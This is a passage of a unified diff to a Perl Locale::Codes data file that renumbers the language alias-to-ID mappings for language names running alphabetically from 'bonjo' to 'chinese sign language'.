+      q(1391),
       q(0),
       ],
    q(bonjo) => [
-      q(1360),
+      q(1359),
       q(0),
       ],
    q(bonkeng) => [
-      q(1522),
+      q(1521),
       q(0),
       ],
    q(bonkiman) => [
-      q(1365),
+      q(1364),
       q(0),
       ],
    q(bontok) => [
-      q(1330),
+      q(1329),
       q(0),
       ],
    q(boo) => [
-      q(1400),
+      q(1399),
       q(1),
       ],
    q(bookan) => [
-      q(1329),
+      q(1328),
       q(0),
       ],
    q(boon) => [
-      q(1338),
+      q(1337),
       q(0),
       ],
    q(boor) => [
-      q(1521),
+      q(1520),
       q(0),
       ],
    q(bora) => [
-      q(1352),
+      q(1351),
       q(0),
       ],
    q(borana-arsi-guji oromo) => [
-      q(2417),
+      q(2416),
       q(0),
       ],
    q(border kuna) => [
@@ -28363,23 +28337,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(borei) => [
-      q(2403),
+      q(2402),
       q(0),
       ],
    q(borgu fulfulde) => [
-      q(2381),
+      q(2380),
       q(0),
       ],
    q(borna (ethiopia)) => [
-      q(1555),
+      q(1554),
       q(1),
       ],
    q(boro (ethiopia)) => [
-      q(1555),
+      q(1554),
       q(0),
       ],
    q(boro (ghana)) => [
-      q(7545),
+      q(7542),
       q(0),
       ],
    q(borong) => [
@@ -28387,19 +28361,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(bororo) => [
-      q(1367),
+      q(1366),
       q(0),
       ],
    q(boruca) => [
-      q(1434),
+      q(1433),
       q(0),
       ],
    q(boselewa) => [
-      q(1546),
+      q(1545),
       q(0),
       ],
    q(bosngun) => [
-      q(1415),
+      q(1414),
       q(0),
       ],
    q(bosnian) => [
@@ -28407,11 +28381,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(bote-majhi) => [
-      q(1312),
+      q(1311),
       q(0),
       ],
    q(botlikh) => [
-      q(1379),
+      q(1378),
       q(0),
       ],
    q(botolan sambal) => [
@@ -28419,23 +28393,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(bouna kulango) => [
-      q(4934),
+      q(4932),
       q(0),
       ],
    q(bouyei) => [
-      q(5379),
+      q(5375),
       q(0),
       ],
    q(bozaba) => [
-      q(1626),
+      q(1625),
       q(0),
       ],
    q(bragat) => [
-      q(0820),
+      q(0819),
       q(0),
       ],
    q(brahui) => [
-      q(1428),
+      q(1427),
       q(0),
       ],
    q(braj) => [
@@ -28443,15 +28417,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(brazilian sign language) => [
-      q(1630),
+      q(1629),
       q(0),
       ],
    q(brem) => [
-      q(1507),
+      q(1506),
       q(0),
       ],
    q(breri) => [
-      q(1437),
+      q(1436),
       q(0),
       ],
    q(breton) => [
@@ -28459,35 +28433,35 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(bribri) => [
-      q(1615),
+      q(1614),
       q(0),
       ],
    q(brithenig) => [
-      q(1631),
+      q(1630),
       q(0),
       ],
    q(british sign language) => [
-      q(1145),
+      q(1144),
       q(0),
       ],
    q(brokkat) => [
-      q(1435),
+      q(1434),
       q(0),
       ],
    q(brokpake) => [
-      q(5995),
+      q(5994),
       q(0),
       ],
    q(brokskat) => [
-      q(1263),
+      q(1262),
       q(0),
       ],
    q(brooke's point palawano) => [
-      q(5502),
+      q(5498),
       q(0),
       ],
    q(broome pearling lugger pidgin) => [
-      q(1383),
+      q(1382),
       q(0),
       ],
    q(brunei) => [
@@ -28495,79 +28469,79 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(brunei bisaya) => [
-      q(1448),
+      q(1447),
       q(0),
       ],
    q(bu) => [
-      q(3092),
+      q(3090),
       q(0),
       ],
    q(bu-nao bunu) => [
-      q(1563),
+      q(1562),
       q(0),
       ],
    q(bua) => [
-      q(1494),
+      q(1493),
       q(0),
       ],
    q(bualkhaw chin) => [
-      q(1666),
+      q(1665),
       q(0),
       ],
    q(buamu) => [
-      q(1372),
+      q(1371),
       q(0),
       ],
    q(bube) => [
-      q(1517),
+      q(1516),
       q(0),
       ],
    q(bubi) => [
-      q(1512),
+      q(1511),
       q(0),
       ],
    q(bubia) => [
-      q(1062),
+      q(1061),
       q(0),
       ],
    q(budeh stieng) => [
-      q(6261),
+      q(6262),
       q(0),
       ],
    q(budibud) => [
-      q(1483),
+      q(1482),
       q(0),
       ],
    q(budong-budong) => [
-      q(1113),
+      q(1112),
       q(0),
       ],
    q(budu) => [
-      q(1510),
+      q(1509),
       q(0),
       ],
    q(budukh) => [
-      q(1100),
+      q(1099),
       q(0),
       ],
    q(buduma) => [
-      q(1102),
+      q(1101),
       q(0),
       ],
    q(budza) => [
-      q(1231),
+      q(1230),
       q(0),
       ],
    q(bugan) => [
-      q(1046),
+      q(1045),
       q(0),
       ],
    q(bugawac) => [
-      q(1502),
+      q(1501),
       q(0),
       ],
    q(bughotu) => [
-      q(1179),
+      q(1178),
       q(0),
       ],
    q(buginese) => [
@@ -28579,7 +28553,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(bugun) => [
-      q(1168),
+      q(1167),
       q(0),
       ],
    q(buhi'non bikol) => [
@@ -28587,35 +28561,35 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(buhid) => [
-      q(1273),
+      q(1272),
       q(0),
       ],
    q(buhutu) => [
-      q(1573),
+      q(1572),
       q(0),
       ],
    q(bukar-sadung bidayuh) => [
-      q(5946),
+      q(5945),
       q(0),
       ],
    q(bukat) => [
-      q(1526),
+      q(1525),
       q(0),
       ],
    q(bukharic) => [
-      q(1193),
+      q(1192),
       q(0),
       ],
    q(bukit malay) => [
-      q(1535),
+      q(1534),
       q(0),
       ],
    q(bukitan) => [
-      q(1266),
+      q(1265),
       q(0),
       ],
    q(bukiyip) => [
-      q(0838),
+      q(0837),
       q(0),
       ],
    q(buksa) => [
@@ -28623,11 +28597,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(bukusu) => [
-      q(1576),
+      q(1575),
       q(0),
       ],
    q(bukwen) => [
-      q(1515),
+      q(1514),
       q(0),
       ],
    q(bulgarian) => [
@@ -28635,139 +28609,139 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(bulgarian sign language) => [
-      q(1410),
+      q(1409),
       q(0),
       ],
    q(bulgebi) => [
-      q(1318),
+      q(1317),
       q(0),
       ],
    q(buli (ghana)) => [
-      q(1561),
+      q(1560),
       q(0),
       ],
    q(buli (indonesia)) => [
-      q(1628),
+      q(1627),
       q(0),
       ],
    q(bullom so) => [
-      q(1514),
+      q(1513),
       q(0),
       ],
    q(bulo stieng) => [
-      q(6250),
+      q(6251),
       q(0),
       ],
    q(bulu (cameroon)) => [
-      q(1503),
+      q(1502),
       q(0),
       ],
    q(bulu (papua new guinea)) => [
-      q(1241),
+      q(1240),
       q(0),
       ],
    q(bum) => [
-      q(1324),
+      q(1323),
       q(0),
       ],
    q(bumaji) => [
-      q(1603),
+      q(1602),
       q(0),
       ],
    q(bumang) => [
-      q(1531),
+      q(1530),
       q(0),
       ],
    q(bumbita arapesh) => [
-      q(0828),
+      q(0827),
       q(0),
       ],
    q(bumthangkha) => [
-      q(3399),
+      q(3398),
       q(0),
       ],
    q(bun) => [
-      q(1511),
+      q(1510),
       q(0),
       ],
    q(buna) => [
-      q(1529),
+      q(1528),
       q(0),
       ],
    q(bunaba) => [
-      q(1075),
+      q(1074),
       q(0),
       ],
    q(bunak) => [
-      q(1150),
+      q(1149),
       q(0),
       ],
    q(bunama) => [
-      q(1093),
+      q(1092),
       q(0),
       ],
    q(bundeli) => [
-      q(1345),
+      q(1344),
       q(0),
       ],
    q(bung) => [
-      q(1401),
+      q(1400),
       q(0),
       ],
    q(bungain) => [
-      q(1509),
+      q(1508),
       q(0),
       ],
    q(bunganditj) => [
-      q(7284),
+      q(7282),
       q(0),
       ],
    q(bungku) => [
-      q(1278),
+      q(1277),
       q(0),
       ],
    q(bungu) => [
-      q(7239),
+      q(7237),
       q(0),
       ],
    q(bunoge dogon) => [
-      q(1999),
+      q(1998),
       q(0),
       ],
    q(bunun) => [
-      q(1340),
+      q(1339),
       q(0),
       ],
    q(buol) => [
-      q(1283),
+      q(1282),
       q(0),
       ],
    q(bura-pabir) => [
-      q(1558),
+      q(1557),
       q(0),
       ],
    q(burak) => [
-      q(1606),
+      q(1605),
       q(0),
       ],
    q(buraka) => [
-      q(1259),
+      q(1258),
       q(0),
       ],
    q(burarra) => [
-      q(1533),
+      q(1532),
       q(0),
       ],
    q(burate) => [
-      q(1478),
+      q(1477),
       q(0),
       ],
    q(burduna) => [
-      q(1579),
+      q(1578),
       q(0),
       ],
    q(bure) => [
-      q(1523),
+      q(1522),
       q(0),
       ],
    q(buriat) => [
@@ -28775,11 +28749,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(burji) => [
-      q(1238),
+      q(1237),
       q(0),
       ],
    q(burmbar) => [
-      q(7032),
+      q(7031),
       q(0),
       ],
    q(burmese) => [
@@ -28787,87 +28761,87 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(burmeso) => [
-      q(1632),
+      q(1631),
       q(0),
       ],
    q(buru (indonesia)) => [
-      q(4284),
+      q(4283),
       q(0),
       ],
    q(buru (nigeria)) => [
-      q(1419),
+      q(1418),
       q(0),
       ],
    q(burui) => [
-      q(1445),
+      q(1444),
       q(0),
       ],
    q(burumakok) => [
-      q(0706),
+      q(0705),
       q(0),
       ],
    q(burun) => [
-      q(1098),
+      q(1097),
       q(0),
       ],
    q(burunge) => [
-      q(1108),
+      q(1107),
       q(0),
       ],
    q(burushaski) => [
-      q(1456),
+      q(1455),
       q(0),
       ],
    q(burusu) => [
-      q(1414),
+      q(1413),
       q(0),
       ],
    q(buruwai) => [
-      q(0894),
+      q(0893),
       q(0),
       ],
    q(busa) => [
-      q(1412),
+      q(1411),
       q(0),
       ],
    q(busam) => [
-      q(1584),
+      q(1583),
       q(0),
       ],
    q(busami) => [
-      q(1458),
+      q(1457),
       q(0),
       ],
    q(busang kayan) => [
-      q(1143),
+      q(1142),
       q(0),
       ],
    q(bushi) => [
-      q(1495),
+      q(1494),
       q(0),
       ],
    q(bushoong) => [
-      q(1498),
+      q(1497),
       q(0),
       ],
    q(businenge tongo) => [
-      q(2060),
+      q(2059),
       q(1),
       ],
    q(buso) => [
-      q(1460),
+      q(1459),
       q(0),
       ],
    q(busoa) => [
-      q(1506),
+      q(1505),
       q(0),
       ],
    q(bussa) => [
-      q(2124),
+      q(2123),
       q(0),
       ],
    q(busuu) => [
-      q(1249),
+      q(1248),
       q(0),
       ],
    q(butbut kalinga) => [
@@ -28875,35 +28849,35 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(butmas-tur) => [
-      q(1344),
+      q(1343),
       q(0),
       ],
    q(butuanon) => [
-      q(1490),
+      q(1489),
       q(0),
       ],
    q(buwal) => [
-      q(1202),
+      q(1201),
       q(0),
       ],
    q(buxinhua) => [
-      q(1171),
+      q(1170),
       q(1),
       ],
    q(buyu) => [
-      q(1597),
+      q(1596),
       q(0),
       ],
    q(buyuan jinuo) => [
-      q(3104),
+      q(3102),
       q(0),
       ],
    q(bwa) => [
-      q(1562),
+      q(1561),
       q(0),
       ],
    q(bwaidoka) => [
-      q(1544),
+      q(1543),
       q(0),
       ],
    q(bwanabwana) => [
@@ -28911,63 +28885,63 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(bwatoo) => [
-      q(1541),
+      q(1540),
       q(0),
       ],
    q(bwe karen) => [
-      q(1545),
+      q(1544),
       q(0),
       ],
    q(bwela) => [
-      q(1552),
+      q(1551),
       q(0),
       ],
    q(bwile) => [
-      q(1543),
+      q(1542),
       q(0),
       ],
    q(bwisi) => [
-      q(1565),
+      q(1564),
       q(0),
       ],
    q(byangsi) => [
-      q(1120),
+      q(1119),
       q(0),
       ],
    q(byep) => [
-      q(4345),
+      q(4344),
       q(0),
       ],
    q(c'lela) => [
-      q(2133),
+      q(2132),
       q(0),
       ],
    q(caac) => [
-      q(4539),
+      q(4538),
       q(0),
       ],
    q(cabecar) => [
-      q(1748),
+      q(1747),
       q(0),
       ],
    q(cabiyari) => [
-      q(1659),
+      q(1658),
       q(0),
       ],
    q(cacaloxtepec mixtec) => [
-      q(4308),
+      q(4307),
       q(0),
       ],
    q(cacaopera) => [
-      q(1688),
+      q(1687),
       q(0),
       ],
    q(cacgia roglai) => [
-      q(5827),
+      q(5826),
       q(0),
       ],
    q(cacua) => [
-      q(1674),
+      q(1673),
       q(0),
       ],
    q(caddo) => [
@@ -28975,55 +28949,55 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(caddoan languages) => [
-      q(0499),
+      q(0498),
       q(0),
       ],
    q(cafundo creole) => [
-      q(1679),
+      q(1678),
       q(0),
       ],
    q(cahuarano) => [
-      q(1644),
+      q(1643),
       q(0),
       ],
    q(cahuilla) => [
-      q(1721),
+      q(1720),
       q(0),
       ],
    q(cahungwarya) => [
-      q(4727),
+      q(4726),
       q(0),
       ],
    q(cajamarca quechua) => [
-      q(5692),
+      q(5690),
       q(0),
       ],
    q(cajatambo north lima quechua) => [
-      q(5697),
+      q(5695),
       q(0),
       ],
    q(cajonos zapotec) => [
-      q(7793),
+      q(7790),
       q(0),
       ],
    q(cajun french) => [
-      q(2369),
+      q(2368),
       q(0),
       ],
    q(caka) => [
-      q(1763),
+      q(1762),
       q(0),
       ],
    q(cakchiquel) => [
-      q(1646),
+      q(1645),
       q(1),
       ],
    q(cakchiquel-quiche mixed language) => [
-      q(1765),
+      q(1764),
       q(0),
       ],
    q(cakfem-mushere) => [
-      q(1764),
+      q(1763),
       q(0),
       ],
    q(calamian tagbanwa) => [
@@ -29031,167 +29005,167 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(calderon highland quichua) => [
-      q(5673),
+      q(5671),
       q(0),
       ],
    q(callawalla) => [
-      q(1655),
+      q(1654),
       q(0),
       ],
    q(calo) => [
-      q(5810),
+      q(5809),
       q(0),
       ],
    q(caluyanun) => [
-      q(1778),
+      q(1777),
       q(0),
       ],
    q(cameroon mambila) => [
-      q(4165),
+      q(4164),
       q(0),
       ],
    q(cameroon pidgin) => [
-      q(7097),
+      q(7095),
       q(0),
       ],
    q(camling) => [
-      q(5728),
+      q(5726),
       q(0),
       ],
    q(campalagian) => [
-      q(1785),
+      q(1784),
       q(0),
       ],
    q(campidanese sardinian) => [
-      q(6209),
+      q(6210),
       q(0),
       ],
    q(camsa) => [
-      q(3189),
+      q(3187),
       q(0),
       ],
    q(camtho) => [
-      q(1791),
+      q(1790),
       q(0),
       ],
    q(camunic) => [
-      q(7295),
+      q(7293),
       q(0),
       ],
    q(canar highland quichua) => [
-      q(5720),
+      q(5718),
       q(0),
       ],
    q(candoshi-shapra) => [
-      q(1673),
+      q(1672),
       q(0),
       ],
    q(canela) => [
-      q(5737),
+      q(5735),
       q(0),
       ],
    q(canichana) => [
-      q(1658),
+      q(1657),
       q(0),
       ],
    q(cantonese) => [
-      q(7751),
+      q(7748),
       q(1),
       ],
    q(cao lan) => [
-      q(4363),
+      q(4362),
       q(0),
       ],
    q(cao miao) => [
-      q(1823),
+      q(1822),
       q(0),
       ],
    q(capanahua) => [
-      q(3180),
+      q(3178),
       q(0),
       ],
    q(capiznon) => [
-      q(1834),
+      q(1833),
       q(0),
       ],
    q(cappadocian greek) => [
-      q(1830),
+      q(1829),
       q(0),
       ],
    q(caquinte) => [
-      q(1821),
+      q(1820),
       q(0),
       ],
    q(car nicobarese) => [
-      q(1652),
+      q(1651),
       q(0),
       ],
    q(cara) => [
-      q(1709),
+      q(1708),
       q(0),
       ],
    q(carabayo) => [
-      q(1676),
+      q(1675),
       q(0),
       ],
    q(caramanta) => [
-      q(1843),
+      q(1842),
       q(0),
       ],
    q(carapana) => [
-      q(1660),
+      q(1659),
       q(0),
       ],
    q(carian) => [
-      q(7303),
+      q(7301),
       q(0),
       ],
    q(caribbean hindustani) => [
-      q(2805),
+      q(2803),
       q(0),
       ],
    q(caribbean javanese) => [
-      q(3165),
+      q(3163),
       q(0),
       ],
    q(carijona) => [
-      q(1661),
+      q(1660),
       q(0),
       ],
    q(carolina algonquian) => [
-      q(1853),
+      q(1852),
       q(0),
       ],
    q(carolinian) => [
-      q(1647),
+      q(1646),
       q(0),
       ],
    q(carpathian romani) => [
-      q(5797),
+      q(5796),
       q(0),
       ],
    q(carrier) => [
-      q(1858),
+      q(1857),
       q(0),
       ],
    q(cashibo-cacataibo) => [
-      q(1670),
+      q(1669),
       q(0),
       ],
    q(cashinahua) => [
-      q(1671),
+      q(1670),
       q(0),
       ],
    q(casiguran dumagat agta) => [
-      q(2000),
+      q(1999),
       q(0),
       ],
    q(castilian) => [
-      q(0402),
+      q(0401),
       q(1),
       ],
    q(casuarina coast asmat) => [
-      q(0888),
+      q(0887),
       q(0),
       ],
    q(catalan) => [
@@ -29199,15 +29173,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(catalan sign language) => [
-      q(1862),
+      q(1861),
       q(0),
       ],
    q(catawba) => [
-      q(1716),
+      q(1715),
       q(0),
       ],
    q(cauca) => [
-      q(1677),
+      q(1676),
       q(0),
       ],
    q(caucasian languages) => [
@@ -29215,23 +29189,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(cavinena) => [
-      q(1654),
+      q(1653),
       q(0),
       ],
    q(cayubaba) => [
-      q(1925),
+      q(1924),
       q(0),
       ],
    q(cayuga) => [
-      q(1657),
+      q(1656),
       q(0),
       ],
    q(cayuse) => [
-      q(7308),
+      q(7306),
       q(0),
       ],
    q(cebaara senoufo) => [
-      q(5959),
+      q(5958),
       q(0),
       ],
    q(cebuano) => [
@@ -29239,7 +29213,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(celtiberian) => [
-      q(7296),
+      q(7294),
       q(0),
       ],
    q(celtic languages) => [
@@ -29247,11 +29221,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(cemuhi) => [
-      q(1648),
+      q(1647),
       q(0),
       ],
    q(cen) => [
-      q(1706),
+      q(1705),
       q(0),
       ],
    q(central american indian languages) => [
@@ -29259,7 +29233,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(central asmat) => [
-      q(1801),
+      q(1800),
       q(0),
       ],
    q(central atlas tamazight) => [
@@ -29267,23 +29241,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(central awyu) => [
-      q(0981),
+      q(0980),
       q(0),
       ],
    q(central aymara) => [
-      q(1007),
+      q(1006),
       q(0),
       ],
    q(central bai) => [
-      q(1065),
+      q(1064),
       q(0),
       ],
    q(central berawan) => [
-      q(7814),
+      q(7811),
       q(0),
       ],
    q(central bikol) => [
-      q(1076),
+      q(1075),
       q(0),
       ],
    q(central bontok) => [
@@ -29291,95 +29265,95 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(central cagayan agta) => [
-      q(0671),
+      q(0670),
       q(0),
       ],
    q(central dusun) => [
-      q(2159),
+      q(2158),
       q(1),
       ],
    q(central grebo) => [
-      q(2625),
+      q(2623),
       q(0),
       ],
    q(central hongshuihe zhuang) => [
-      q(7819),
+      q(7816),
       q(0),
       ],
    q(central huasteca nahuatl) => [
-      q(4761),
+      q(4760),
       q(0),
       ],
    q(central huishui hmong) => [
-      q(2776),
+      q(2774),
       q(0),
       ],
    q(central huishui miao) => [
-      q(2776),
+      q(2774),
       q(1),
       ],
    q(central kanuri) => [
-      q(3479),
+      q(3478),
       q(0),
       ],
    q(central khmer) => [
-      q(0223),
+      q(0222),
       q(0),
       ],
    q(central kurdish) => [
-      q(1752),
+      q(1751),
       q(0),
       ],
    q(central lalo) => [
-      q(7776),
+      q(7773),
       q(1),
       ],
    q(central maewo) => [
-      q(4629),
+      q(4628),
       q(0),
       ],
    q(central malay) => [
-      q(5604),
+      q(5601),
       q(0),
       ],
    q(central malayo-polynesian languages) => [
-      q(0520),
+      q(0519),
       q(0),
       ],
    q(central masela) => [
-      q(4665),
+      q(4664),
       q(0),
       ],
    q(central mashan hmong) => [
-      q(2786),
+      q(2784),
       q(0),
       ],
    q(central mashan miao) => [
-      q(2786),
+      q(2784),
       q(1),
       ],
    q(central mazahua) => [
-      q(4119),
+      q(4118),
       q(0),
       ],
    q(central melanau) => [
-      q(4204),
+      q(4203),
       q(0),
       ],
    q(central mnong) => [
-      q(1788),
+      q(1787),
       q(0),
       ],
    q(central nahuatl) => [
-      q(4864),
+      q(4862),
       q(0),
       ],
    q(central nicobarese) => [
-      q(4755),
+      q(4754),
       q(0),
       ],
    q(central ojibwa) => [
-      q(5214),
+      q(5210),
       q(0),
       ],
    q(central okinawan) => [
@@ -29387,23 +29361,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(central palawano) => [
-      q(5485),
+      q(5481),
       q(0),
       ],
    q(central pame) => [
-      q(5372),
+      q(5368),
       q(0),
       ],
    q(central pashto) => [
-      q(5616),
+      q(5613),
       q(0),
       ],
    q(central pomo) => [
-      q(5558),
+      q(5554),
       q(0),
       ],
    q(central puebla nahuatl) => [
-      q(4775),
+      q(4773),
       q(0),
       ],
    q(central sama) => [
@@ -29411,19 +29385,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(central siberian yupik) => [
-      q(2297),
+      q(2296),
       q(0),
       ],
    q(central sierra miwok) => [
-      q(1872),
+      q(1871),
       q(0),
       ],
    q(central subanen) => [
-      q(6324),
+      q(6325),
       q(0),
       ],
    q(central sudanic languages) => [
-      q(0500),
+      q(0499),
       q(0),
       ],
    q(central tagbanwa) => [
@@ -29439,19 +29413,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(central yupik) => [
-      q(2298),
+      q(2297),
       q(0),
       ],
    q(central-eastern niger fulfulde) => [
-      q(2388),
+      q(2387),
       q(0),
       ],
    q(centuum) => [
-      q(1707),
+      q(1706),
       q(0),
       ],
    q(cerma) => [
-      q(1782),
+      q(1781),
       q(0),
       ],
    q(chabu) => [
@@ -29459,31 +29433,31 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(chachapoyas quechua) => [
-      q(5678),
+      q(5676),
       q(0),
       ],
    q(chachi) => [
-      q(1663),
+      q(1662),
       q(0),
       ],
    q(chacobo) => [
-      q(1650),
+      q(1649),
       q(0),
       ],
    q(chadian arabic) => [
-      q(6019),
+      q(6018),
       q(0),
       ],
    q(chadian sign language) => [
-      q(1700),
+      q(1699),
       q(0),
       ],
    q(chadic languages) => [
-      q(0498),
+      q(0497),
       q(0),
       ],
    q(chadong) => [
-      q(1701),
+      q(1700),
       q(0),
       ],
    q(chagatai) => [
@@ -29491,27 +29465,27 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(chaima) => [
-      q(1739),
+      q(1738),
       q(0),
       ],
    q(chak) => [
-      q(1753),
+      q(1752),
       q(0),
       ],
    q(chakali) => [
-      q(1771),
+      q(1770),
       q(0),
       ],
    q(chakma) => [
-      q(1687),
+      q(1686),
       q(0),
       ],
    q(chala) => [
-      q(1774),
+      q(1773),
       q(0),
       ],
    q(chaldean neo-aramaic) => [
-      q(1768),
+      q(1767),
       q(0),
       ],
    q(chalikha) => [
@@ -29519,23 +29493,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(chamacoco) => [
-      q(1704),
+      q(1703),
       q(0),
       ],
    q(chamalal) => [
-      q(1743),
+      q(1742),
       q(0),
       ],
    q(chamari) => [
-      q(1692),
+      q(1691),
       q(0),
       ],
    q(chambeali) => [
-      q(1693),
+      q(1692),
       q(0),
       ],
    q(chambri) => [
-      q(1649),
+      q(1648),
       q(0),
       ],
    q(chamic languages) => [
@@ -29543,7 +29517,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(chamicuro) => [
-      q(1678),
+      q(1677),
       q(0),
       ],
    q(chamorro) => [
@@ -29551,51 +29525,51 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(chane) => [
-      q(1645),
+      q(1644),
       q(0),
       ],
    q(chang naga) => [
-      q(4734),
+      q(4733),
       q(0),
       ],
    q(changriwa) => [
-      q(1712),
+      q(1711),
       q(0),
       ],
    q(changthang) => [
-      q(1792),
+      q(1791),
       q(0),
       ],
    q(chantyal) => [
-      q(1725),
+      q(1724),
       q(0),
       ],
    q(chara) => [
-      q(1839),
+      q(1838),
       q(0),
       ],
    q(chaudangsi) => [
-      q(1697),
+      q(1696),
       q(0),
       ],
    q(chaura) => [
-      q(1856),
+      q(1855),
       q(0),
       ],
    q(chavacano) => [
-      q(1665),
+      q(1664),
       q(0),
       ],
    q(chayahuita) => [
-      q(1672),
+      q(1671),
       q(0),
       ],
    q(chayuco mixtec) => [
-      q(4297),
+      q(4296),
       q(0),
       ],
    q(chazumba mixtec) => [
-      q(7493),
+      q(7490),
       q(0),
       ],
    q(che) => [
@@ -29607,39 +29581,39 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(cheke holo) => [
-      q(4511),
+      q(4510),
       q(0),
       ],
    q(chemakum) => [
-      q(7298),
+      q(7296),
       q(0),
       ],
    q(chenapian) => [
-      q(1746),
+      q(1745),
       q(0),
       ],
    q(chenchu) => [
-      q(1690),
+      q(1689),
       q(0),
       ],
    q(chenoua) => [
-      q(1803),
+      q(1802),
       q(0),
       ],
    q(chepang) => [
-      q(1696),
+      q(1695),
       q(0),
       ],
    q(chepya) => [
-      q(7600),
+      q(7597),
       q(0),
       ],
    q(cheq wong) => [
-      q(1922),
+      q(1921),
       q(1),
       ],
    q(cherepon) => [
-      q(1832),
+      q(1831),
       q(0),
       ],
    q(cherokee) => [
@@ -29647,19 +29621,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(chesu) => [
-      q(7597),
+      q(7594),
       q(0),
       ],
    q(chetco) => [
-      q(1884),
+      q(1883),
       q(0),
       ],
    q(chewa) => [
-      q(0322),
+      q(0321),
       q(1),
       ],
    q(chewong) => [
-      q(1922),
+      q(1921),
       q(0),
       ],
    q(cheyenne) => [
@@ -29667,23 +29641,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(chhattisgarhi) => [
-      q(2799),
+      q(2797),
       q(0),
       ],
    q(chhintange) => [
-      q(1891),
+      q(1890),
       q(0),
       ],
    q(chhulung) => [
-      q(1910),
+      q(1909),
       q(0),
       ],
    q(chiangmai sign language) => [
-      q(1863),
+      q(1862),
       q(0),
       ],
    q(chiapanec) => [
-      q(1736),
+      q(1735),
       q(0),
       ],
    q(chibcha) => [
@@ -29691,7 +29665,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(chibchan languages) => [
-      q(0495),
+      q(0494),
       q(0),
       ],
    q(chicahuaxtla triqui) => [
@@ -29699,95 +29673,95 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(chichewa) => [
-      q(0322),
+      q(0321),
       q(0),
       ],
    q(chichicapan zapotec) => [
-      q(7920),
+      q(7917),
       q(0),
       ],
    q(chichimeca-jonaz) => [
-      q(5407),
+      q(5403),
       q(0),
       ],
    q(chichonyi-chidzihana-chikauma) => [
-      q(1813),
+      q(1812),
       q(1),
       ],
    q(chickasaw) => [
-      q(1729),
+      q(1728),
       q(0),
       ],
    q(chicomuceltec) => [
-      q(1807),
+      q(1806),
       q(0),
       ],
    q(chidigo) => [
-      q(2034),
+      q(2033),
       q(1),
       ],
    q(chiduruma) => [
-      q(2170),
+      q(2169),
       q(1),
       ],
    q(chiga) => [
-      q(1714),
+      q(1713),
       q(0),
       ],
    q(chigmecatitlan mixtec) => [
-      q(4298),
+      q(4297),
       q(0),
       ],
    q(chilcotin) => [
-      q(1767),
+      q(1766),
       q(0),
       ],
    q(chilean sign language) => [
-      q(1866),
+      q(1865),
       q(0),
       ],
    q(chilisso) => [
-      q(1770),
+      q(1769),
       q(0),
       ],
    q(chiltepec chinantec) => [
-      q(1861),
+      q(1860),
       q(0),
       ],
    q(chimakum) => [
-      q(7298),
+      q(7296),
       q(1),
       ],
    q(chimalapa zoque) => [
-      q(7893),
+      q(7890),
       q(0),
       ],
    q(chimariko) => [
-      q(1730),
+      q(1729),
       q(0),
       ],
    q(chimborazo highland quichua) => [
-      q(5675),
+      q(5673),
       q(0),
       ],
    q(chimila) => [
-      q(1662),
+      q(1661),
       q(0),
       ],
    q(china buriat) => [
-      q(1585),
+      q(1584),
       q(0),
       ],
    q(chinali) => [
-      q(1732),
+      q(1731),
       q(0),
       ],
    q(chinbon chin) => [
-      q(1793),
+      q(1792),
       q(0),
       ],
    q(chincha quechua) => [
-      q(5713),
+      q(5711),
       q(0),
       ],
    q(chinese) => [
@@ -29795,23 +29769,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(chinese (family)) => [
-      q(0534),
+      q(0533),
       q(0),
       ],
    q(chinese pidgin english) => [
-      q(1831),
+      q(1830),
       q(0),
       ],
    q(chinese sign language) => [
